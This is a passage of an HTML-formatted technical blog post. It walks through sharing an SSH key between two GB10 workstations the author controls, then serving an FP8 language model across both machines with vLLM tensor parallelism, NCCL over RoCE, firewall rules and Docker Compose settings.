&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.ssh"&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;700 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.ssh"&lt;/span&gt;

&lt;span class="c"&gt;# Add shared public key to local authorized_keys&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-qF&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SHARED_KEY&lt;/span&gt;&lt;span class="s2"&gt;.pub"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.ssh/authorized_keys"&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SHARED_KEY&lt;/span&gt;&lt;span class="s2"&gt;.pub"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.ssh/authorized_keys"&lt;/span&gt;
    &lt;span class="nb"&gt;chmod &lt;/span&gt;600 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.ssh/authorized_keys"&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  ✓ Added shared public key to local authorized_keys"&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# Distribute shared key to all remote nodes&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; node_ip&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
    if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$node_ip&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Configuring &lt;/span&gt;&lt;span class="nv"&gt;$node_ip&lt;/span&gt;&lt;span class="s2"&gt;..."&lt;/span&gt;

        &lt;span class="c"&gt;# Copy shared key to remote node and set up authorized_keys&lt;/span&gt;
        &lt;span class="k"&gt;if &lt;/span&gt;scp &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;StrictHostKeyChecking&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;accept-new &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SHARED_KEY&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SHARED_KEY&lt;/span&gt;&lt;span class="s2"&gt;.pub"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$USER&lt;/span&gt;&lt;span class="s2"&gt;@&lt;/span&gt;&lt;span class="nv"&gt;$node_ip&lt;/span&gt;&lt;span class="s2"&gt;:~/.ssh/"&lt;/span&gt; &amp;amp;&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
            &lt;/span&gt;ssh &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;StrictHostKeyChecking&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;accept-new &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$USER&lt;/span&gt;&lt;span class="s2"&gt;@&lt;/span&gt;&lt;span class="nv"&gt;$node_ip&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"
                chmod 700 ~/.ssh
                chmod 600 ~/.ssh/id_ed25519_shared
                chmod 644 ~/.ssh/id_ed25519_shared.pub

                # Add shared public key to authorized_keys if not present
                if ! grep -qF &lt;/span&gt;&lt;span class="se"&gt;\"\$&lt;/span&gt;&lt;span class="s2"&gt;(cat ~/.ssh/id_ed25519_shared.pub)&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; ~/.ssh/authorized_keys 2&amp;gt;/dev/null; then
                    cat ~/.ssh/id_ed25519_shared.pub &amp;gt;&amp;gt; ~/.ssh/authorized_keys
                    chmod 600 ~/.ssh/authorized_keys
                fi

                # Create/update SSH config to use shared key by default
                if ! grep -q 'IdentityFile.*id_ed25519_shared' ~/.ssh/config 2&amp;gt;/dev/null; then
                    echo 'Host *' &amp;gt;&amp;gt; ~/.ssh/config
                    echo '    IdentityFile ~/.ssh/id_ed25519_shared' &amp;gt;&amp;gt; ~/.ssh/config
                    chmod 600 ~/.ssh/config
                fi
            "&lt;/span&gt; &amp;amp;&amp;gt;/dev/null

            &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  ✓ Successfully configured &lt;/span&gt;&lt;span class="nv"&gt;$node_ip&lt;/span&gt;&lt;span class="s2"&gt; with shared key"&lt;/span&gt;
        &lt;span class="k"&gt;else
            &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  ✗ Failed to configure &lt;/span&gt;&lt;span class="nv"&gt;$node_ip&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
        &lt;span class="k"&gt;fi
    fi
done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TEMP_FILE&lt;/span&gt;&lt;span class="s2"&gt;.sorted"&lt;/span&gt;

&lt;span class="c"&gt;# Update local SSH config to use shared key&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="s1"&gt;'IdentityFile.*id_ed25519_shared'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.ssh/config"&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nb"&gt;touch&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.ssh/config"&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Host *'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.ssh/config"&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'    IdentityFile ~/.ssh/id_ed25519_shared'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.ssh/config"&lt;/span&gt;
    &lt;span class="nb"&gt;chmod &lt;/span&gt;600 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.ssh/config"&lt;/span&gt;
    &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"  ✓ Updated local SSH config to use shared key"&lt;/span&gt;
&lt;span class="k"&gt;fi

&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Shared SSH setup complete!"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"All nodes can now SSH to each other using the shared key (id_ed25519_shared)."&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Here if you encounter this problem&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Error: This script should not be run as root or with &lt;span class="nb"&gt;sudo
&lt;/span&gt;Please run as a regular user
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You need to start a new terminal, then without doing anything else, run this script directly&lt;/p&gt;

&lt;p&gt;After this script executes successfully, you can use the following command to test the result; the IP address is the output from step three&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# The return result is the hostname of the machine at the corresponding IP address&lt;/span&gt;
ssh &amp;lt;ip address&amp;gt; &lt;span class="nb"&gt;hostname&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At this point, the steps for connecting two PGX units via QSFP are complete; next is the software-level work&lt;/p&gt;

&lt;h2&gt;
  
  
  Building a multi-GPU cluster
&lt;/h2&gt;

&lt;p&gt;This involves some specialized terms (Ray cluster, NCCL communication), but the purpose of this article is not terminology explanation, but how to use these things directly (even so, some simple principle introduction is still needed); the large-model environment in this article is docker+vllm&lt;/p&gt;

&lt;p&gt;Here we use the latest &lt;code&gt;Qwen/Qwen3.8-Flash-Next-FP8&lt;/code&gt;, mainly because BF16 is &lt;strong&gt;not viable&lt;/strong&gt; on these two machines—not an ordinary OOM, but dragging the local machine to death and reboot; what finally went into production is FP8, with a topology of TP=2 across two single-GPU nodes, the API on the local machine at &lt;code&gt;http://localhost:20001&lt;/code&gt;, and the external model name &lt;code&gt;qwen3.8-flash-next&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Why two machines are required
&lt;/h3&gt;

&lt;p&gt;GB10 is a unified memory architecture. The "GPU memory" reported by &lt;code&gt;nvidia-smi&lt;/code&gt; and the physical memory in &lt;code&gt;/proc/meminfo&lt;/code&gt; are the same pool; each machine physically has only &lt;strong&gt;119 GiB&lt;/strong&gt;. The so-called "requesting GPU memory" takes the kernel path through &lt;code&gt;nv_alloc_system_pages&lt;/code&gt;, that is, asking the system for pages.&lt;/p&gt;

&lt;p&gt;The two checkpoints of Qwen3.8-Flash-Next:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Checkpoint&lt;/th&gt;
&lt;th&gt;Weight size (as read by the loader)&lt;/th&gt;
&lt;th&gt;Disk occupancy&lt;/th&gt;
&lt;th&gt;TP=2 per-node weights&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;Qwen/Qwen3.8-Flash-Next&lt;/code&gt; (BF16)&lt;/td&gt;
&lt;td&gt;335.28 GiB&lt;/td&gt;
&lt;td&gt;336G&lt;/td&gt;
&lt;td&gt;167.6 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Qwen/Qwen3.8-Flash-Next-FP8&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;172.78 GiB&lt;/td&gt;
&lt;td&gt;173G&lt;/td&gt;
&lt;td&gt;86.4 GiB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;BF16 is 167.6 GiB per node, &lt;strong&gt;48.6 GiB&lt;/strong&gt; more than 119 GiB. The gap cannot be made up by paging; the driver will hold a lock in the kernel and repeatedly reclaim and retry, and the whole machine dies along with it. This path has already been walked in actual testing (mentioned later).&lt;/p&gt;

&lt;p&gt;FP8 weights per node actually occupy &lt;strong&gt;86.33 GiB&lt;/strong&gt;. KV and GDN state still need to be added. In &lt;code&gt;config.json&lt;/code&gt;, &lt;code&gt;num_hidden_layers=48&lt;/code&gt;, &lt;code&gt;full_attention_interval=4&lt;/code&gt;, that is, 12 QSA full-attention layers and 36 Gated DeltaNet layers; &lt;code&gt;num_key_value_heads=2&lt;/code&gt;, &lt;code&gt;head_dim=256&lt;/code&gt;. KV counted as BF16:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;12 layers × 2 KV heads × 256 dim × 2 (K/V) × 2 bytes = 24 KiB / token
After TP=2, 12 KiB / token per node
262144 context, a single full-length sequence ≈ 3 GiB / node
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GDN recurrent state: 36 layers × 48 V heads × 128 × 128 × 2 bytes = 54 MiB / sequence, 27 MiB after TP=2; &lt;code&gt;--max-num-seqs 8&lt;/code&gt; totals 216 MiB, which can be ignored. Weights 86.4 GiB plus KV and a bit of host overhead come to about 95 GiB, which fits in 119 GiB, so &lt;code&gt;--max-model-len 262144&lt;/code&gt; can be kept.&lt;/p&gt;

&lt;p&gt;In the final CUDA graph round, the local KV cache was &lt;strong&gt;7.62 GiB / 541,401 tokens&lt;/strong&gt;, maximum concurrency for 262144 context &lt;strong&gt;2.07x&lt;/strong&gt;; the peer KV was &lt;strong&gt;6.78 GiB&lt;/strong&gt;. The two sides differ slightly because the idle memory on the two machines was not exactly the same at the time, and vLLM each took a cut according to &lt;code&gt;--gpu-memory-utilization 0.80&lt;/code&gt; (budget 95.7 GiB)&lt;/p&gt;

&lt;h3&gt;
  
  
  There is only one topology choice
&lt;/h3&gt;

&lt;p&gt;This architecture has N-gram embedding (&lt;code&gt;ngram_vocab_size_base=20000000&lt;/code&gt;, attached at layer 2). vLLM &lt;strong&gt;does not support pipeline parallelism&lt;/strong&gt; for it. PLE offloading the n-gram table to CPU might be tryable on a single machine, but &lt;strong&gt;distributed mode is not supported&lt;/strong&gt;. Both machines are single-GPU, so only one topology remains: split into two shares with tensor parallelism, one GPU per machine.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart LR
  Client["Client :20001"] --&amp;gt; Rank0
  subgraph rank0node ["thinkstationpgx-30 / rank 0"]
    Rank0["APIServer + EngineCore / TP rank 0"]
  end
  subgraph rank1node ["thinkstationpgx-32 / rank 1"]
    Rank1["headless Worker / TP rank 1"]
  end
  Rank0 --&amp;gt;|"RoCE NCCL + Gloo"| Rank1&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;The local machine is the master: &lt;code&gt;169.254.94.252&lt;/code&gt;, &lt;code&gt;NODE_RANK=0&lt;/code&gt;, running the full APIServer and EngineCore, with HTTP bound to &lt;code&gt;0.0.0.0:20001&lt;/code&gt;. The peer is the follower: &lt;code&gt;169.254.159.206&lt;/code&gt;, &lt;code&gt;NODE_RANK=1&lt;/code&gt;, running only a &lt;code&gt;--headless&lt;/code&gt; Worker, not serving HTTP externally. NCCL goes over the two RoCE logical NICs on QSFP, and the Gloo / TCP control plane goes over &lt;code&gt;enp1s0f0np0&lt;/code&gt;. The default route remains on &lt;code&gt;enP7s7&lt;/code&gt; (the &lt;code&gt;192.168.40.x&lt;/code&gt; LAN segment); &lt;strong&gt;do not change the default gateway to QSFP&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The two machines use the same compose, distinguishing identity via &lt;code&gt;NODE_RANK&lt;/code&gt; and &lt;code&gt;VLLM_HOST_IP&lt;/code&gt; in each machine's &lt;code&gt;.env&lt;/code&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Three checks before starting work
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;1. Kernel-mode and user-mode driver versions must match.&lt;/strong&gt; The peer once had kernel &lt;code&gt;580.159.03&lt;/code&gt; and user-mode &lt;code&gt;580.173.02&lt;/code&gt;; the machine had already been running continuously for fifty-plus days, and GPU initialization failed inside Docker. It only recovered after rebooting the peer. Both the local machine and the peer must be able to see the GPU inside the container; do not just glance at &lt;code&gt;nvidia-smi&lt;/code&gt; on the host.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Firewall must allow the QSFP network segments and the API port.&lt;/strong&gt; The local UFW defaults to DROP, which will block &lt;code&gt;29501/tcp&lt;/code&gt; used by torch distributed. You need:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw allow from 169.254.0.0/16
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw allow from 192.168.101.0/24
&lt;span class="nb"&gt;sudo &lt;/span&gt;ufw allow 20001/tcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;UFW was not enabled on the peer at the time, so no change was needed. The rules must survive reboot.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Both RoCE logical NICs must be up.&lt;/strong&gt; The physical port is QSFP port 0, split into two logical NICs:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Ethernet name&lt;/th&gt;
&lt;th&gt;RoCE name&lt;/th&gt;
&lt;th&gt;Local&lt;/th&gt;
&lt;th&gt;Peer&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;enp1s0f0np0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;rocep1s0f0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;169.254.94.252/16&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;169.254.159.206/16&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;enP2p1s0f0np0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;roceP2p1s0f0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;192.168.101.10/24&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;192.168.101.11/24&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;GID index &lt;strong&gt;3&lt;/strong&gt; is RoCEv2 + IPv4. &lt;code&gt;ib_write_bw&lt;/code&gt; reached &lt;strong&gt;109 Gb/s&lt;/strong&gt; on each of the two. NCCL uses &lt;code&gt;NCCL_IB_HCA==rocep1s0f0,roceP2p1s0f0&lt;/code&gt; (the equals sign is NCCL's exact-match syntax) plus &lt;code&gt;NCCL_IB_MERGE_NICS=1&lt;/code&gt;, merging the two into a single 200 GbE-class transport&lt;/p&gt;

&lt;h3&gt;
  
  
  Image and weights
&lt;/h3&gt;

&lt;p&gt;Qwen3.8-Flash-Next must use the dedicated image &lt;code&gt;vllm/vllm-openai:qwen38-flash-next&lt;/code&gt; (arm64). The generic &lt;code&gt;v0.28.0&lt;/code&gt; &lt;strong&gt;does not recognize&lt;/strong&gt; this architecture; pulling the wrong image will exit directly at the model initialization stage. The version string that actually ran in this round is &lt;code&gt;v0.1.dev20073+g8e685d198&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;One of the GB10s here has very slow network, so both the image and the weights were prepared on the local machine and then pushed over via QSFP. The working directory on both sides is &lt;code&gt;/home/lenovo/vllm&lt;/code&gt;, and the Hugging Face cache is mounted at &lt;code&gt;/home/lenovo/vllm/huggingface&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;For downloading you can run &lt;code&gt;hf download&lt;/code&gt; with a generic image already on the local machine, just bind the cache directory to the path above; there is no need to download inside the dedicated image. The HF cache owner is root, and &lt;code&gt;trees/*.json&lt;/code&gt; is often mode &lt;code&gt;600&lt;/code&gt;, which the local user cannot read, and rsync will fail on these small files. Before transferring, first:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo chmod&lt;/span&gt; &lt;span class="nt"&gt;-R&lt;/span&gt; a+rX /home/lenovo/vllm/huggingface/hub/models--Qwen--Qwen3.8-Flash-Next-FP8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three notes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Do not go via hostname or &lt;code&gt;192.168.40.x&lt;/code&gt;; traffic must go via &lt;code&gt;169.254.159.206&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Do not use &lt;code&gt;rsync -L&lt;/code&gt;. HF's &lt;code&gt;snapshots/&lt;/code&gt; are symlinks pointing to &lt;code&gt;blobs/&lt;/code&gt;; dereferencing will double the volume.&lt;/li&gt;
&lt;li&gt;Do not enable compression for rsync / SSH. On 200 GbE, compression will only saturate the CPU and leave the bandwidth unused.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After &lt;code&gt;docker load&lt;/code&gt;, the peer's image ID may differ from the local machine's; this is because load rewrote the local image metadata. As long as the RootFS layers match, it can be used&lt;/p&gt;

&lt;h3&gt;
  
  
  Key design of the compose
&lt;/h3&gt;

&lt;p&gt;The complete file is in the appendix. Here I only cover "why it must be written this way"; each item corresponds to a failure that already happened.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Host network, InfiniBand devices, and locked-page permissions.&lt;/strong&gt; &lt;code&gt;network_mode: host&lt;/code&gt; is because NCCL needs to get the host NICs directly; a mapping like &lt;code&gt;8000:20001&lt;/code&gt; inside the container would make the NCCL handshake go through the wrong namespace. vLLM itself uses &lt;code&gt;--host 0.0.0.0 --port 20001&lt;/code&gt;, consistent with the external port of other compose files on the local machine (for example &lt;code&gt;qwen3.6-35b-compose.yml&lt;/code&gt;). Without &lt;code&gt;/dev/infiniband&lt;/code&gt;, &lt;code&gt;IPC_LOCK&lt;/code&gt;, and &lt;code&gt;memlock: -1&lt;/code&gt;, RoCE falls back to sockets and bandwidth drops to unusable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Force Gloo to IPv4, and turn off libuv.&lt;/strong&gt; The first distributed handshake hung on c10d's IPv6 socket timeout. The environment variables are:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;NCCL_SOCKET_FAMILY&lt;/span&gt;: &lt;span class="n"&gt;AF_INET&lt;/span&gt;
&lt;span class="n"&gt;GLOO_SOCKET_FAMILY&lt;/span&gt;: &lt;span class="n"&gt;AF_INET&lt;/span&gt;
&lt;span class="n"&gt;GLOO_SOCKET_IFNAME&lt;/span&gt;: &lt;span class="n"&gt;enp1s0f0np0&lt;/span&gt;
&lt;span class="n"&gt;GLOO_USE_LIBUV&lt;/span&gt;: &lt;span class="s2"&gt;"0"&lt;/span&gt;
&lt;span class="n"&gt;TORCH_GLOO_USE_LIBUV&lt;/span&gt;: &lt;span class="s2"&gt;"0"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The control plane goes over &lt;code&gt;enp1s0f0np0&lt;/code&gt;, the data plane over the two RoCE NICs. &lt;code&gt;NCCL_IB_GID_INDEX=3&lt;/code&gt; corresponds to RoCEv2+IPv4; &lt;code&gt;NCCL_CUMEM_ENABLE=0&lt;/code&gt; is the safe choice on this platform.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Container memory hard limit 105G, explicit&lt;/strong&gt; &lt;code&gt;restart: "no"&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt; Both machines are cgroup v2 + systemd driver; driver allocations are counted into the container memcg. When over limit it first reclaims page cache, then OOM-kills the &lt;strong&gt;container&lt;/strong&gt;, rather than dragging the whole machine to death. &lt;code&gt;restart: "no"&lt;/code&gt; avoids automatically bringing it back up after a crash and repeatedly slamming memory. &lt;code&gt;--gpu-memory-utilization 0.80&lt;/code&gt; gives about 95.7 GiB of GPU budget, leaving about 9 GiB between that and the 105G cap for the Python / torch host. &lt;code&gt;--distributed-timeout-seconds 3600&lt;/code&gt; is because loading 86 GiB on two nodes has a time skew (peer about 300 seconds, local about 850 seconds), and the default 600-second NCCL timeout is tight.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrap the entrypoint in a layer of bash; rank 1 must add&lt;/strong&gt; &lt;code&gt;--headless&lt;/code&gt;&lt;strong&gt;.&lt;/strong&gt; The image's default &lt;code&gt;ENTRYPOINT&lt;/code&gt; is &lt;code&gt;["vllm","serve"]&lt;/code&gt;. Compose needs to interpolate &lt;code&gt;NODE_RANK&lt;/code&gt; / &lt;code&gt;MODEL_ID&lt;/code&gt; from each machine's &lt;code&gt;.env&lt;/code&gt;, so it is changed to &lt;code&gt;/bin/bash -lc&lt;/code&gt;. If rank 1 runs a full EngineCore, it will blow up in &lt;code&gt;_initialize_kv_caches&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AssertionError: collective_rpc should not be called on follower node
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The follower only acts as a Worker. HTTP is only on rank 0.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Compilation flags.&lt;/strong&gt; First get it running with &lt;code&gt;--enforce-eager&lt;/code&gt; (the dual-Spark configuration measured on the NVIDIA forum), then after it is stable switch to &lt;code&gt;-cc.mode=0 -cc.cudagraph_mode=FULL_DECODE_ONLY&lt;/code&gt;: skip inductor compilation that hangs on GB10, keep only decode CUDA graph. Production is already the latter. Note that the field name must be &lt;strong&gt;underscore&lt;/strong&gt; &lt;code&gt;cudagraph_mode&lt;/code&gt;; writing it with a hyphen will be rejected by pydantic&lt;/p&gt;

&lt;h3&gt;
  
  
  Startup and watchdog
&lt;/h3&gt;

&lt;p&gt;Before starting, drop page cache on both machines. When BF16 failed previously, &lt;code&gt;buff/cache&lt;/code&gt; had already reached 110 GiB; the page cache from reading safetensors and the driver were fighting over the same unified memory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sync&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo &lt;/span&gt;3 | &lt;span class="nb"&gt;sudo tee&lt;/span&gt; /proc/sys/vm/drop_caches
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Start rank 0 first, then rank 1:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Local&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; /home/lenovo/vllm
&lt;span class="nb"&gt;sudo &lt;/span&gt;docker compose &lt;span class="nt"&gt;-f&lt;/span&gt; qwen3.8-flash-next-compose.yml &lt;span class="nt"&gt;--env-file&lt;/span&gt; .env up &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;--force-recreate&lt;/span&gt; &lt;span class="nt"&gt;--no-deps&lt;/span&gt;

&lt;span class="c"&gt;# Peer, via QSFP&lt;/span&gt;
ssh &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;Compression&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;no &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;BatchMode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;yes&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; aes128-gcm@openssh.com &lt;span class="se"&gt;\&lt;/span&gt;
  lenovo@169.254.159.206 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'cd /home/lenovo/vllm &amp;amp;&amp;amp; sudo docker compose -f qwen3.8-flash-next-compose.yml --env-file .env up -d --force-recreate --no-deps'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



